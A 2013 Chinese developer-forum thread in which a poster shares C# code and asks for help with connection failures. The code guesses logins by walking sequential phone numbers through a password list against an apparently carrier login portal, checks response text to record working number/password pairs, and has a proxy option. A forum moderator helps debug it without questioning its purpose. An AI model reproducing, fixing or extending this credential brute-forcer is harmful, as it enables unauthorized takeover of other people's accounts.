苏飞论坛

 找回密码
 马上注册

QQ登录

只需一步,快速开始

分布式系统框架(V2.0) 轻松承载百亿数据,千万流量!讨论专区 - 源码下载 - 官方教程

HttpHelper爬虫框架(V2.7-含.netcore) HttpHelper官方出品,爬虫框架讨论区 - 源码下载 - 在线测试和代码生成

HttpHelper爬虫类(V2.0) 开源的爬虫类,支持多种模式和属性 源码 - 代码生成器 - 讨论区 - 教程- 例子

查看: 8547|回复: 7

[其他] 还是老问题 POST出现下面的异常

[复制链接]
发表于 2013-1-29 19:09:15 | 显示全部楼层 |阅读模式
我在做POST数据到服务器是,程序启动一个速度很理想,启动两个就没有返回数据,发生异常。
以下是在HTTPhelps类返回的异常,请老大帮忙,纠结了很久……
system.net.webexception: 无法连接到远程服务器 ---> system.net.sockets.socketexception: 由于连接方在一段时间后没有正确答复或连接的主机没有反应,连接尝试失败。 192.168.1.1:80 IP不是这个
   在 system.net.sockets.socket.doconnect(endpoint endpointsnapshot, socketaddress socketaddress)
   在 system.net.sockets.socket.internalconnect(endpoint remoteep)
   在 system.net.servicepoint.connectsocketinternal(boolean connectfailure, socket s4, socket s6, socket& socket, ipaddress& address, connectsocketstate state, iasyncresult asyncresult, int32 timeout, exception& exception)
   --- 内部异常堆栈跟踪的结尾 ---
   在 system.net.httpwebrequest.getrequeststream()
   在 httphelps.gethttprequestdata(string strpostdata) 位置 e:\vscmcc\vscmcc\vscmcc\httphelps.cs:行号 49
在 System.Net.Sockets.SocketException 中第一次偶然出现的“System.dll”类型的异常
在 System.Net.WebException 中第一次偶然出现的“System.dll”类型的异常
在 System.Net.WebException 中第一次偶然出现的“System.dll”类型的异常
在 System.Net.WebException 中第一次偶然出现的“System.dll”类型的异常






1. 开通SVIP会员,免费下载本站所有源码,不限次数据,不限时间
2. 加官方QQ群,加官方微信群获取更多资源和帮助
3. 找站长苏飞做网站、商城、CRM、小程序、App、爬虫相关、项目外包等点这里
 楼主| 发表于 2013-1-29 19:11:31 | 显示全部楼层
在线等待中……
发表于 2013-1-29 19:22:30 | 显示全部楼层
FXX 发表于 2013-1-29 19:11
在线等待中……

发下代码,这不是累的问题,不是说过了吗,是你线程问题,怎么又出来了,你发下代码吧,
 楼主| 发表于 2013-1-29 19:36:39 | 显示全部楼层
[code=csharp]using System;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Runtime.InteropServices;
using System.Net;
using System.IO;
namespace VSPROJ
{
    public partial class Form1 : Form
    {
        Boolean ChangePwd = false,RandPwd=true;
        Boolean flag = false;
        string CurrentNum,Mproxy,Mserver,CurrentPsw;
        
        int Ptr,Pwdlen,Mode=0;
        Thread td;
        int Count=0, WrongPwd=0, Unused=0, Correct=0,WrongSrv=0,Unexpect=0;
        private delegate void DspDelegate(TextBox Tb, string a);
        private delegate void LstDelegate(string a, string b);
        private void dsp(TextBox tb, string a)
        {
            if (tb.InvokeRequired)
            {
                DspDelegate dspdg1 = new DspDelegate(dsp);
                tb.Invoke(dspdg1, new object[2] { tb, a });
            }
            else
            {
                tb.SuspendLayout();
                tb.Text = a;
                tb.ResumeLayout();
            }
        }
        private void DispRightNum(string crnnum, string Psw)
        {
            if (Correctlst.InvokeRequired)
            {
                LstDelegate ls = new LstDelegate(DispRightNum);
                Correctlst.Invoke(ls, new object[2] { crnnum, Psw });
            }
            else
            {
                int i;
                Correctlst.Rows.Add(1);
                i = Correctlst.RowCount;
                Correctlst.SuspendLayout();
                Correctlst.Rows[i - 1].Cells[0].Value = crnnum;
                Correctlst.Rows[i - 1].Cells[1].Value = Psw;
                Correctlst.ResumeLayout();
            }
        }
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            ServicePointManager.DefaultConnectionLimit = 1000;
            Mserver = "http://www.baidu.com";
            button2.Text = "启  动";
        }
        private string Post2Url2(string Data, string url,Encoding enco)
        {
            HttpHelps hp = new HttpHelps();
            string res=hp.GetHttpRequestStringByNUll_Post(url, Data, enco);
            return res;
        }
        private string Todata(string PhoneNum, string Psw)
        {
            string data="";
            data = "acName=&userIp=&userName=";
            data+=PhoneNum;
            data += "&userType=2&_password=%E8%BE%93%E5%85%A5%E5%9B%BA%E5%AE%9A%E5%AF%86%E7%A0%81%2F%E4%B8%B4%E6%97%B6%E5%AF%86%E7%A0%81&password=";
            data +=Psw.Substring(0,6);
            data += "&button2=++";
            return data;
        }
        public void MyThread()
        {
            Console.WriteLine("线程启动");
            string data="";
            string PROJInfo="";
            int ret=0;
            CurrentNum = textBox2.Text.ToString();
            Ptr = 0;
            string[] AllPwd =StorePwd();
            Pwdlen = AllPwd.Length;
        Serverfalse: while (flag)
            {
                CurrentPsw = AllPwd[Ptr];
                Thread.Sleep(200);
                data = Todata(CurrentNum, CurrentPsw);
                dsp(textBox5, CurrentNum + ":"+CurrentPsw);
             try
                {
                 PROJInfo = Post2Url2(data,Mserver,Encoding.UTF8).Trim();
                    ret = check(PROJInfo);
                     Console.WriteLine(PROJInfo);
                    switch (ret)
                    {
                        case 1: RightNum();
                            //Console.WriteLine("right");
                            break;
                        case 2: WrongPWD();
                            //Console.WriteLine("wrong");
                            break;
                        case 3: WrongNum();
                           // Console.WriteLine("unused");
                            break;
                        default: WrongServer();
                            //Console.WriteLine("retry");
                            break;
                    }
                    Count += 1;
                    Total.Text = Count.ToString();
                }
                catch(Exception eee)
                {
                    Unexpect++;
                    Unexpectdsp.Text = Unexpect.ToString();
                    MessageBox.Show(eee.ToString());
                    goto Serverfalse;
                }
            }
            
        }

        private object Post2Url()
        {
            throw new NotImplementedException();
        }
        private void NumPlus()
        {
            switch (Mode)
            {
                case 0:
                    {
                        CurrentNum = (Convert.ToInt64(CurrentNum) + 1).ToString();
                        dsp(textBox2, CurrentNum);
                        Ptr = 0;
                        break;
                    }
                case 1:
                    {
                        MessageBox.Show("ddd");
                        break;
                    }
            }
        }
        private void RightNum()
        {
            DispRightNum(CurrentNum,CurrentPsw);
            Correct += 1;
            Successdsp.Text = Correct.ToString();
            NumPlus();
            savelst();
            return;
        }
        private void WrongPWD()
        {
            WrongPwd += 1;
            WrongPwddsp.Text = WrongPwd.ToString();
            if (Ptr == Pwdlen-1)
            {
                NumPlus();
            }
            else
                Ptr += 1;
            return;
        }
        private void WrongNum()
        {
            Unused += 1;
            UnusedDsp.Text = Unused.ToString();
            NumPlus();
        }
        private void WrongServer()
        {
            WrongSrv += 1;
            WrongSrvDsp.Text = WrongSrv.ToString();
            return;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            if (textBox1.Text != "")
            {
                listBox1.Items.Add(textBox1.Text);
                textBox1.Text = "";
            }
            else
                MessageBox.Show("密码不能为空");
        }

        private void checkBox1_CheckedChanged(object sender, EventArgs e)
        {
            Mproxy = "";
            if (checkBox1.Checked)
            {
                if (textBox3.Text != "")
                {
                    Mproxy = textBox3.Text;
                }
                else
                {
                    MessageBox.Show("请检查代理地址是否输入,本程序不验证代理服务器可用性");
                    checkBox1.Checked = false;
                }
            }
        }

        private void checkBox2_CheckedChanged(object sender, EventArgs e)
        {
            ChangePwd = false;
            if (checkBox2.Checked)
            {
                if (textBox4.Text != "")
                    ChangePwd = true;
                else
                {
                    MessageBox.Show("没有设置密码");
                    checkBox2.Checked = false;
                }
            }
        }
        private string[] StorePwd()
        {
            int i,n;
            n = listBox1.Items.Count;
            string[] Pwd = new string[n];
            for (i = 0; i <n; i++)
            {
                if (!listBox1.Items.Equals(""))
                Pwd =listBox1.Items.ToString().Trim();
            }
            return Pwd;
        }

        private void button2_Click(object sender, EventArgs e)
        {
            Console.WriteLine(button2.Text);
            if (button2.Text=="启  动")
            {
                if (listBox1.Items.Count > 0)
                {
                    
                    td = new Thread(new ThreadStart(MyThread));
                    
                    flag = true;
                    td.Start();
                    button2.Text = "停  止";
                    setProp(false);
                    return;
                }
                else
                {
                    MessageBox.Show("还没有添加密码");
                    return;
                }
            }
            else
            {
                flag = false;
                button2.Text = "启  动";
                td.Abort();
                setProp(true);
                return;
            }
        }
        private int check(string Info)
        {
            if (Info.Contains("欢迎"))
            {
                return 1;
            }
            if (Info.Contains("未注册") )
            {
                return 3;
            }
            if (Info.Contains("密码不正确"))
            {
                return 2;
            }
            return 0;
        }
    }
}[/code]
 楼主| 发表于 2013-1-29 19:37:42 | 显示全部楼层
本帖最后由 FXX 于 2013-1-29 19:47 编辑

这是主要代码
麻烦帮我看看那的问题,会不会跟服务器响应速度有关系?
 楼主| 发表于 2013-1-29 20:16:42 | 显示全部楼层
哪里的问题?
发表于 2013-1-30 10:18:10 | 显示全部楼层
FXX 发表于 2013-1-29 20:16
哪里的问题?

CurrentNum = textBox2.Text.ToString();

这样的是不能放在子线程里面的,
需要通过委托给访问textBox2.Text.ToString(); 或者你在线程启动时传参数过来,否则应该是能访问的,

不过看你的代码,报的错好像不是因为这些,而应该就是访问不了页面,我估计80%就是因为页面无法访问,或者是无法在多个线程下访问,这个有可能是是服务器问题,或者是网络问题,建议你访问本地页面先测试一下程序,如果没有问题说明是服务器或者网络问题,如果还是同样问题建议你使用最新的HttpHelper类http://www.sufeinet.com/thread-2002-1-1.html
另外再提个建议,发代码的时候可以使用代码标签这样方便 阅读
使用方法如下http://www.sufeinet.com/thread-1942-1-1.html
你访问本地的测试一下吧,我看代码应该是服务器或者是网络问题

 楼主| 发表于 2013-1-30 16:10:23 | 显示全部楼层
那里是读控件内容,写控件内容的用了委托,如果是服务器问题,能不能用代理的方式解决
您需要登录后才可以回帖 登录 | 马上注册

本版积分规则

QQ|手机版|小黑屋|手机版|联系我们|关于我们|广告合作|苏飞论坛 ( 豫ICP备18043678号-2)

GMT+8, 2024-12-26 02:42

© 2014-2021

快速回复 返回顶部 返回列表